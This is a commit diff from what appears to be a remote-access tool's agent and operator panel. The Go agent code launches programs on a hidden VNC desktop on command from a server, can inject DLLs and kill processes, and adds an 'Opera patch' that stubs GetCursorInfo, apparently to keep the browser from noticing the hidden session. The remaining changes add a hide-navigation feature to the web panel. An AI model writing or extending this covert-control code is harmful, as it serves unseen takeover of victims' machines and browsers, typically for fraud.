let users opera patch everything and add hiding to nav bar
This commit is contained in:
@@ -27,7 +27,7 @@ func HVNCMonitorCount() int {
|
|||||||
return 0
|
return 0
|
||||||
}
|
}
|
||||||
|
|
||||||
func StartHVNCProcess(filePath string) error {
|
func StartHVNCProcess(filePath string, operaPatch bool) error {
|
||||||
return errors.New("HVNC not supported on this platform")
|
return errors.New("HVNC not supported on this platform")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -479,7 +479,7 @@ func ensureHVNCThread() error {
|
|||||||
var result hvncTaskResult
|
var result hvncTaskResult
|
||||||
switch task.kind {
|
switch task.kind {
|
||||||
case hvncTaskStartProcess:
|
case hvncTaskStartProcess:
|
||||||
result.err = startHVNCProcessOnThread(task.filePath)
|
result.pid, result.err = startHVNCProcessOnThread(task.filePath)
|
||||||
case hvncTaskStartProcessInjected:
|
case hvncTaskStartProcessInjected:
|
||||||
result.pid, result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath)
|
result.pid, result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath)
|
||||||
case hvncTaskMouseMove:
|
case hvncTaskMouseMove:
|
||||||
@@ -535,7 +535,7 @@ func hvncCaptureDisplay(display int) (*image.RGBA, error) {
|
|||||||
return result.img, result.err
|
return result.img, result.err
|
||||||
}
|
}
|
||||||
|
|
||||||
func StartHVNCProcess(filePath string) error {
|
func StartHVNCProcess(filePath string, operaPatch bool) error {
|
||||||
if filePath == "" {
|
if filePath == "" {
|
||||||
return fmt.Errorf("empty file path")
|
return fmt.Errorf("empty file path")
|
||||||
}
|
}
|
||||||
@@ -546,7 +546,13 @@ func StartHVNCProcess(filePath string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
return result.err
|
if result.err != nil {
|
||||||
|
return result.err
|
||||||
|
}
|
||||||
|
if operaPatch && result.pid != 0 {
|
||||||
|
go patchOperaAsync(result.pid, 5, 2*time.Second)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func HVNCAutoStartExplorer() error {
|
func HVNCAutoStartExplorer() error {
|
||||||
@@ -863,18 +869,18 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
|
|||||||
return img, nil
|
return img, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func startHVNCProcessOnThread(filePath string) error {
|
func startHVNCProcessOnThread(filePath string) (uint32, error) {
|
||||||
if filePath == "" {
|
if filePath == "" {
|
||||||
return fmt.Errorf("empty file path")
|
return 0, fmt.Errorf("empty file path")
|
||||||
}
|
}
|
||||||
|
|
||||||
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
|
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("failed to convert desktop name: %v", err)
|
return 0, fmt.Errorf("failed to convert desktop name: %v", err)
|
||||||
}
|
}
|
||||||
cmdLine, err := syscall.UTF16FromString(filePath)
|
cmdLine, err := syscall.UTF16FromString(filePath)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("failed to convert command line: %v", err)
|
return 0, fmt.Errorf("failed to convert command line: %v", err)
|
||||||
}
|
}
|
||||||
var si startupInfo
|
var si startupInfo
|
||||||
var pi processInformation
|
var pi processInformation
|
||||||
@@ -898,11 +904,11 @@ func startHVNCProcessOnThread(filePath string) error {
|
|||||||
)
|
)
|
||||||
if ret == 0 {
|
if ret == 0 {
|
||||||
if callErr != nil {
|
if callErr != nil {
|
||||||
return fmt.Errorf("CreateProcess failed: %v", callErr)
|
return 0, fmt.Errorf("CreateProcess failed: %v", callErr)
|
||||||
}
|
}
|
||||||
return fmt.Errorf("CreateProcess failed")
|
return 0, fmt.Errorf("CreateProcess failed")
|
||||||
}
|
}
|
||||||
return nil
|
return pi.dwProcessId, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func hvncAutoStartExplorerOnThread() error {
|
func hvncAutoStartExplorerOnThread() error {
|
||||||
@@ -917,7 +923,7 @@ func hvncAutoStartExplorerOnThread() error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
log.Printf("hvnc: no explorer.exe found on HVNC desktop, starting explorer.exe")
|
log.Printf("hvnc: no explorer.exe found on HVNC desktop, starting explorer.exe")
|
||||||
err := startHVNCProcessOnThread("explorer.exe")
|
_, err := startHVNCProcessOnThread("explorer.exe")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("auto-start explorer failed: %w", err)
|
return fmt.Errorf("auto-start explorer failed: %w", err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1451,6 +1451,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
payload, _ := envelope["payload"].(map[string]interface{})
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
filePath := ""
|
filePath := ""
|
||||||
killExe := ""
|
killExe := ""
|
||||||
|
operaPatch := false
|
||||||
if payload != nil {
|
if payload != nil {
|
||||||
if v, ok := payload["path"].(string); ok {
|
if v, ok := payload["path"].(string); ok {
|
||||||
filePath = v
|
filePath = v
|
||||||
@@ -1458,15 +1459,18 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
if v, ok := payload["kill_exe"].(string); ok {
|
if v, ok := payload["kill_exe"].(string); ok {
|
||||||
killExe = v
|
killExe = v
|
||||||
}
|
}
|
||||||
|
if v, ok := payload["opera_patch"].(bool); ok {
|
||||||
|
operaPatch = v
|
||||||
|
}
|
||||||
}
|
}
|
||||||
log.Printf("hvnc: start process %q (kill_exe=%q)", filePath, killExe)
|
log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v)", filePath, killExe, operaPatch)
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
goSafe("hvnc_start_process", nil, func() {
|
goSafe("hvnc_start_process", nil, func() {
|
||||||
if killExe != "" {
|
if killExe != "" {
|
||||||
out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput()
|
out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput()
|
||||||
log.Printf("hvnc: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
|
log.Printf("hvnc: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
|
||||||
}
|
}
|
||||||
if err := capture.StartHVNCProcess(filePath); err != nil {
|
if err := capture.StartHVNCProcess(filePath, operaPatch); err != nil {
|
||||||
log.Printf("hvnc: start process failed for %q: %v", filePath, err)
|
log.Printf("hvnc: start process failed for %q: %v", filePath, err)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|||||||
@@ -1108,7 +1108,12 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
|||||||
class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-3 focus:outline-none focus:border-violet-500" />
|
class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-3 focus:outline-none focus:border-violet-500" />
|
||||||
<label class="block text-xs text-slate-400 mb-1">Arguments (optional)</label>
|
<label class="block text-xs text-slate-400 mb-1">Arguments (optional)</label>
|
||||||
<input id="hvncCustomExeArgs" type="text" placeholder="--flag value"
|
<input id="hvncCustomExeArgs" type="text" placeholder="--flag value"
|
||||||
class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-4 focus:outline-none focus:border-violet-500" />
|
class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-3 focus:outline-none focus:border-violet-500" />
|
||||||
|
<label class="flex items-center gap-2 text-xs text-slate-400 mb-4 cursor-pointer select-none">
|
||||||
|
<input id="hvncCustomExeOperaPatch" type="checkbox"
|
||||||
|
class="accent-violet-500 w-3.5 h-3.5 rounded" />
|
||||||
|
Apply Opera patch (stub GetCursorInfo)
|
||||||
|
</label>
|
||||||
<div class="flex justify-end gap-2">
|
<div class="flex justify-end gap-2">
|
||||||
<button id="hvncCustomExeCancel" class="button ghost text-sm">Cancel</button>
|
<button id="hvncCustomExeCancel" class="button ghost text-sm">Cancel</button>
|
||||||
<button id="hvncCustomExeRun" class="button primary text-sm">Run</button>
|
<button id="hvncCustomExeRun" class="button primary text-sm">Run</button>
|
||||||
@@ -1126,7 +1131,8 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
|||||||
if (!exePath) return;
|
if (!exePath) return;
|
||||||
const args = argsInput.value.trim();
|
const args = argsInput.value.trim();
|
||||||
const cmd = args ? `"${exePath}" ${args}` : `"${exePath}"`;
|
const cmd = args ? `"${exePath}" ${args}` : `"${exePath}"`;
|
||||||
sendCmd("hvnc_start_process", { path: cmd });
|
const operaPatch = document.getElementById("hvncCustomExeOperaPatch").checked;
|
||||||
|
sendCmd("hvnc_start_process", { path: cmd, opera_patch: operaPatch });
|
||||||
close();
|
close();
|
||||||
}
|
}
|
||||||
document.getElementById("hvncCustomExeRun").addEventListener("click", run);
|
document.getElementById("hvncCustomExeRun").addEventListener("click", run);
|
||||||
|
|||||||
@@ -2609,3 +2609,102 @@ body.sb-collapsed .sb-link-child {
|
|||||||
.sb-badge:not(.hidden) {
|
.sb-badge:not(.hidden) {
|
||||||
display: inline-flex;
|
display: inline-flex;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
NAV HIDE / REVEAL
|
||||||
|
============================================================ */
|
||||||
|
|
||||||
|
/* ---- Shared reveal pill ---- */
|
||||||
|
#nav-reveal-btn {
|
||||||
|
position: fixed;
|
||||||
|
z-index: 60;
|
||||||
|
display: none; /* hidden until nav-hidden */
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
width: 28px;
|
||||||
|
height: 28px;
|
||||||
|
border-radius: 8px;
|
||||||
|
background: rgba(15, 23, 42, 0.85);
|
||||||
|
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||||
|
backdrop-filter: blur(12px);
|
||||||
|
-webkit-backdrop-filter: blur(12px);
|
||||||
|
color: #64748b;
|
||||||
|
font-size: 0.7rem;
|
||||||
|
cursor: pointer;
|
||||||
|
opacity: 0;
|
||||||
|
transition: opacity 0.25s ease, color 0.15s, background 0.15s, transform 0.2s ease;
|
||||||
|
pointer-events: none;
|
||||||
|
}
|
||||||
|
#nav-reveal-btn:hover {
|
||||||
|
background: rgba(30, 41, 59, 0.95);
|
||||||
|
color: #e2e8f0;
|
||||||
|
transform: scale(1.08);
|
||||||
|
}
|
||||||
|
#nav-reveal-btn:focus-visible {
|
||||||
|
outline: 2px solid #3b82f6;
|
||||||
|
outline-offset: 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- Topbar hidden state ---- */
|
||||||
|
body.nav-hidden:not(.sb-ready) #top-nav {
|
||||||
|
transform: translateY(-100%);
|
||||||
|
pointer-events: none;
|
||||||
|
transition: transform 0.3s var(--sb-ease, cubic-bezier(0.4, 0, 0.2, 1));
|
||||||
|
}
|
||||||
|
body.nav-hidden:not(.sb-ready) #nav-reveal-btn {
|
||||||
|
display: flex;
|
||||||
|
opacity: 1;
|
||||||
|
pointer-events: auto;
|
||||||
|
top: 8px;
|
||||||
|
left: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- Sidebar hidden state ---- */
|
||||||
|
body.sb-ready.nav-hidden {
|
||||||
|
padding-left: 0 !important;
|
||||||
|
transition: padding-left 0.3s var(--sb-ease);
|
||||||
|
}
|
||||||
|
body.sb-ready.nav-hidden #top-nav {
|
||||||
|
transform: translateX(calc(-1 * var(--sb-w) - 2px));
|
||||||
|
pointer-events: none;
|
||||||
|
transition: transform 0.3s var(--sb-ease), width var(--sb-speed) var(--sb-ease);
|
||||||
|
}
|
||||||
|
body.sb-ready.nav-hidden #sb-mobile-bar {
|
||||||
|
transform: translateY(-100%);
|
||||||
|
pointer-events: none;
|
||||||
|
transition: transform 0.3s var(--sb-ease);
|
||||||
|
}
|
||||||
|
body.sb-ready.nav-hidden #nav-reveal-btn {
|
||||||
|
display: flex;
|
||||||
|
opacity: 1;
|
||||||
|
pointer-events: auto;
|
||||||
|
top: 8px;
|
||||||
|
left: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- Reveal-on-hover edge strip (sidebar mode) ---- */
|
||||||
|
body.sb-ready.nav-hidden #nav-reveal-btn {
|
||||||
|
transition: opacity 0.3s ease 0.1s, color 0.15s, background 0.15s, transform 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Tooltip on reveal button */
|
||||||
|
#nav-reveal-btn::after {
|
||||||
|
content: attr(data-tooltip);
|
||||||
|
position: absolute;
|
||||||
|
left: calc(100% + 8px);
|
||||||
|
top: 50%;
|
||||||
|
transform: translateY(-50%);
|
||||||
|
white-space: nowrap;
|
||||||
|
font-size: 0.7rem;
|
||||||
|
color: #94a3b8;
|
||||||
|
background: rgba(15, 23, 42, 0.92);
|
||||||
|
border: 1px solid rgba(255, 255, 255, 0.08);
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 4px 8px;
|
||||||
|
pointer-events: none;
|
||||||
|
opacity: 0;
|
||||||
|
transition: opacity 0.15s;
|
||||||
|
}
|
||||||
|
#nav-reveal-btn:hover::after {
|
||||||
|
opacity: 1;
|
||||||
|
}
|
||||||
|
|||||||
@@ -16,7 +16,11 @@ const host = document.getElementById("top-nav");
|
|||||||
if (host) {
|
if (host) {
|
||||||
const refs = mountNav(host);
|
const refs = mountNav(host);
|
||||||
showCertBannerIfNeeded(document.getElementById("sb-mobile-bar") || host);
|
showCertBannerIfNeeded(document.getElementById("sb-mobile-bar") || host);
|
||||||
const { applyAdaptiveNavLayout } = createAdaptiveNavController(host, refs);
|
const { applyAdaptiveNavLayout, navHide } = createAdaptiveNavController(host, refs);
|
||||||
|
|
||||||
|
if (refs.navHideBtn && navHide) {
|
||||||
|
refs.navHideBtn.addEventListener("click", () => navHide.setHidden(true));
|
||||||
|
}
|
||||||
|
|
||||||
const path = window.location.pathname;
|
const path = window.location.pathname;
|
||||||
const activeMap = {
|
const activeMap = {
|
||||||
|
|||||||
@@ -1,8 +1,52 @@
|
|||||||
import { NAV_MODE_KEY } from "./template.js";
|
import { NAV_MODE_KEY } from "./template.js";
|
||||||
|
|
||||||
const LS_KEY = "sb_collapsed";
|
const LS_KEY = "sb_collapsed";
|
||||||
|
const NAV_HIDDEN_KEY = "nav_hidden";
|
||||||
const MOBILE_BP = 768;
|
const MOBILE_BP = 768;
|
||||||
|
|
||||||
|
/* ──────────────────────────────────────────────
|
||||||
|
NAV HIDE / REVEAL — shared across both modes
|
||||||
|
────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
function createNavHideController() {
|
||||||
|
let hidden = localStorage.getItem(NAV_HIDDEN_KEY) === "true";
|
||||||
|
|
||||||
|
// Create reveal button (injected into body)
|
||||||
|
const revealBtn = document.createElement("button");
|
||||||
|
revealBtn.id = "nav-reveal-btn";
|
||||||
|
revealBtn.setAttribute("aria-label", "Show navigation");
|
||||||
|
const isMac = /Mac|iPhone|iPad/.test(navigator.platform || "");
|
||||||
|
revealBtn.dataset.tooltip = `Show nav ${isMac ? "⌘" : "Ctrl"}+\\`;
|
||||||
|
revealBtn.innerHTML = '<i class="fa-solid fa-angles-right" style="font-size:0.65rem"></i>';
|
||||||
|
document.body.appendChild(revealBtn);
|
||||||
|
|
||||||
|
function setHidden(val) {
|
||||||
|
hidden = val;
|
||||||
|
localStorage.setItem(NAV_HIDDEN_KEY, String(val));
|
||||||
|
document.body.classList.toggle("nav-hidden", val);
|
||||||
|
}
|
||||||
|
|
||||||
|
function toggle() {
|
||||||
|
setHidden(!hidden);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Apply persisted state
|
||||||
|
if (hidden) document.body.classList.add("nav-hidden");
|
||||||
|
|
||||||
|
// Click the reveal button → show nav
|
||||||
|
revealBtn.addEventListener("click", () => { if (hidden) setHidden(false); });
|
||||||
|
|
||||||
|
// Keyboard shortcut: Ctrl+\ (or Cmd+\ on Mac)
|
||||||
|
document.addEventListener("keydown", (e) => {
|
||||||
|
if ((e.ctrlKey || e.metaKey) && e.key === "\\") {
|
||||||
|
e.preventDefault();
|
||||||
|
toggle();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
return { toggle, isHidden: () => hidden, setHidden };
|
||||||
|
}
|
||||||
|
|
||||||
/* ──────────────────────────────────────────────
|
/* ──────────────────────────────────────────────
|
||||||
TOPBAR DROPDOWN LOGIC
|
TOPBAR DROPDOWN LOGIC
|
||||||
────────────────────────────────────────────── */
|
────────────────────────────────────────────── */
|
||||||
@@ -241,9 +285,15 @@ function createSidebarController(host, refs) {
|
|||||||
|
|
||||||
export function createAdaptiveNavController(host, refs) {
|
export function createAdaptiveNavController(host, refs) {
|
||||||
const mode = localStorage.getItem(NAV_MODE_KEY);
|
const mode = localStorage.getItem(NAV_MODE_KEY);
|
||||||
if (mode === "sidebar") {
|
const navCtrl = mode === "sidebar"
|
||||||
return createSidebarController(host, refs);
|
? createSidebarController(host, refs)
|
||||||
}
|
: createTopbarController(host, refs);
|
||||||
return createTopbarController(host, refs);
|
|
||||||
|
const hideCtrl = createNavHideController();
|
||||||
|
|
||||||
|
return {
|
||||||
|
applyAdaptiveNavLayout: navCtrl.applyAdaptiveNavLayout,
|
||||||
|
navHide: hideCtrl,
|
||||||
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -161,6 +161,11 @@ function mountTopbar(host) {
|
|||||||
title="Logout" aria-label="Logout">
|
title="Logout" aria-label="Logout">
|
||||||
<i class="fa-solid fa-right-from-bracket text-rose-300 group-hover:text-rose-200 transition-colors"></i>
|
<i class="fa-solid fa-right-from-bracket text-rose-300 group-hover:text-rose-200 transition-colors"></i>
|
||||||
</button>
|
</button>
|
||||||
|
<button id="nav-hide-btn"
|
||||||
|
class="inline-flex items-center justify-center w-9 h-9 rounded-lg bg-slate-900/50 border border-slate-800 text-slate-500 hover:text-slate-200 hover:bg-slate-800 transition-colors"
|
||||||
|
title="Hide navigation (Ctrl+\\)" aria-label="Hide navigation">
|
||||||
|
<i class="fa-solid fa-eye-slash" style="font-size:0.75rem"></i>
|
||||||
|
</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -180,6 +185,7 @@ function mountTopbar(host) {
|
|||||||
usernameDisplay: document.getElementById("username-display"),
|
usernameDisplay: document.getElementById("username-display"),
|
||||||
roleBadge: document.getElementById("role-badge"),
|
roleBadge: document.getElementById("role-badge"),
|
||||||
enrollmentBadge: document.getElementById("enrollment-badge"),
|
enrollmentBadge: document.getElementById("enrollment-badge"),
|
||||||
|
navHideBtn: document.getElementById("nav-hide-btn"),
|
||||||
};
|
};
|
||||||
|
|
||||||
// Add individual link refs
|
// Add individual link refs
|
||||||
@@ -293,6 +299,11 @@ function mountSidebar(host) {
|
|||||||
<i class="fa-solid fa-right-from-bracket sb-icon"></i>
|
<i class="fa-solid fa-right-from-bracket sb-icon"></i>
|
||||||
<span class="sb-text">Logout</span>
|
<span class="sb-text">Logout</span>
|
||||||
</button>
|
</button>
|
||||||
|
<button id="nav-hide-btn" class="sb-link"
|
||||||
|
title="Hide navigation (Ctrl+\\)" aria-label="Hide navigation">
|
||||||
|
<i class="fa-solid fa-eye-slash sb-icon" style="font-size:0.75rem"></i>
|
||||||
|
<span class="sb-text">Hide Nav</span>
|
||||||
|
</button>
|
||||||
</div>
|
</div>
|
||||||
`;
|
`;
|
||||||
|
|
||||||
@@ -329,6 +340,7 @@ function mountSidebar(host) {
|
|||||||
usernameDisplay: document.getElementById("username-display"),
|
usernameDisplay: document.getElementById("username-display"),
|
||||||
roleBadge: document.getElementById("role-badge"),
|
roleBadge: document.getElementById("role-badge"),
|
||||||
enrollmentBadge: document.getElementById("enrollment-badge"),
|
enrollmentBadge: document.getElementById("enrollment-badge"),
|
||||||
|
navHideBtn: document.getElementById("nav-hide-btn"),
|
||||||
};
|
};
|
||||||
|
|
||||||
// Convenience refs expected by nav.js
|
// Convenience refs expected by nav.js
|
||||||
|
|||||||
@@ -8,6 +8,7 @@ import {
|
|||||||
|
|
||||||
const PREF_REFRESH_KEY = "overlord_refresh_interval_seconds";
|
const PREF_REFRESH_KEY = "overlord_refresh_interval_seconds";
|
||||||
const NAV_MODE_KEY = "sb_mode";
|
const NAV_MODE_KEY = "sb_mode";
|
||||||
|
const NAV_HIDDEN_KEY = "nav_hidden";
|
||||||
|
|
||||||
const usernameEl = document.getElementById("settings-username");
|
const usernameEl = document.getElementById("settings-username");
|
||||||
const roleEl = document.getElementById("settings-role");
|
const roleEl = document.getElementById("settings-role");
|
||||||
@@ -302,6 +303,11 @@ function loadPrefs() {
|
|||||||
if (sidebarBtn && topbarBtn) {
|
if (sidebarBtn && topbarBtn) {
|
||||||
updateNavLayoutButtons(navMode === "topbar" ? "topbar" : "sidebar", sidebarBtn, topbarBtn);
|
updateNavLayoutButtons(navMode === "topbar" ? "topbar" : "sidebar", sidebarBtn, topbarBtn);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const navHiddenInput = document.getElementById("pref-nav-hidden");
|
||||||
|
if (navHiddenInput) {
|
||||||
|
navHiddenInput.checked = localStorage.getItem(NAV_HIDDEN_KEY) === "true";
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
async function loadCurrentUser() {
|
async function loadCurrentUser() {
|
||||||
@@ -389,6 +395,11 @@ function savePrefs(event) {
|
|||||||
showMessage("Preferences saved.");
|
showMessage("Preferences saved.");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const navHiddenInput = document.getElementById("pref-nav-hidden");
|
||||||
|
if (navHiddenInput) {
|
||||||
|
localStorage.setItem(NAV_HIDDEN_KEY, String(navHiddenInput.checked));
|
||||||
|
document.body.classList.toggle("nav-hidden", navHiddenInput.checked);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
async function saveSecurityPolicy(event) {
|
async function saveSecurityPolicy(event) {
|
||||||
|
|||||||
@@ -353,6 +353,15 @@
|
|||||||
<p class="text-xs text-slate-500 mt-1">Changes apply immediately on save.</p>
|
<p class="text-xs text-slate-500 mt-1">Changes apply immediately on save.</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<div class="space-y-2">
|
||||||
|
<p class="text-xs font-semibold uppercase tracking-wider text-slate-500">Visibility</p>
|
||||||
|
<label class="flex items-center gap-2 text-sm">
|
||||||
|
<input id="pref-nav-hidden" type="checkbox" class="h-4 w-4 accent-indigo-500" />
|
||||||
|
<span>Hide navigation bar</span>
|
||||||
|
</label>
|
||||||
|
<p class="text-xs text-slate-500">Press <kbd class="px-1 py-0.5 rounded bg-slate-800 border border-slate-700 text-slate-400 text-[10px]">Ctrl+\</kbd> to toggle anytime.</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
<button
|
<button
|
||||||
type="submit"
|
type="submit"
|
||||||
class="inline-flex items-center gap-2 px-4 py-2 rounded-lg bg-violet-700 hover:bg-violet-600 transition-colors text-white text-sm font-medium"
|
class="inline-flex items-center gap-2 px-4 py-2 rounded-lg bg-violet-700 hover:bg-violet-600 transition-colors text-white text-sm font-medium"
|
||||||
|
|||||||
@@ -874,6 +874,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
sendHVNCCommand(target, "hvnc_start_process", {
|
sendHVNCCommand(target, "hvnc_start_process", {
|
||||||
path: String(payload.path || ""),
|
path: String(payload.path || ""),
|
||||||
kill_exe: String(payload.kill_exe || ""),
|
kill_exe: String(payload.kill_exe || ""),
|
||||||
|
opera_patch: Boolean(payload.opera_patch),
|
||||||
});
|
});
|
||||||
break;
|
break;
|
||||||
case "hvnc_start_process_injected": {
|
case "hvnc_start_process_injected": {
|
||||||
|
|||||||
Reference in New Issue
Block a user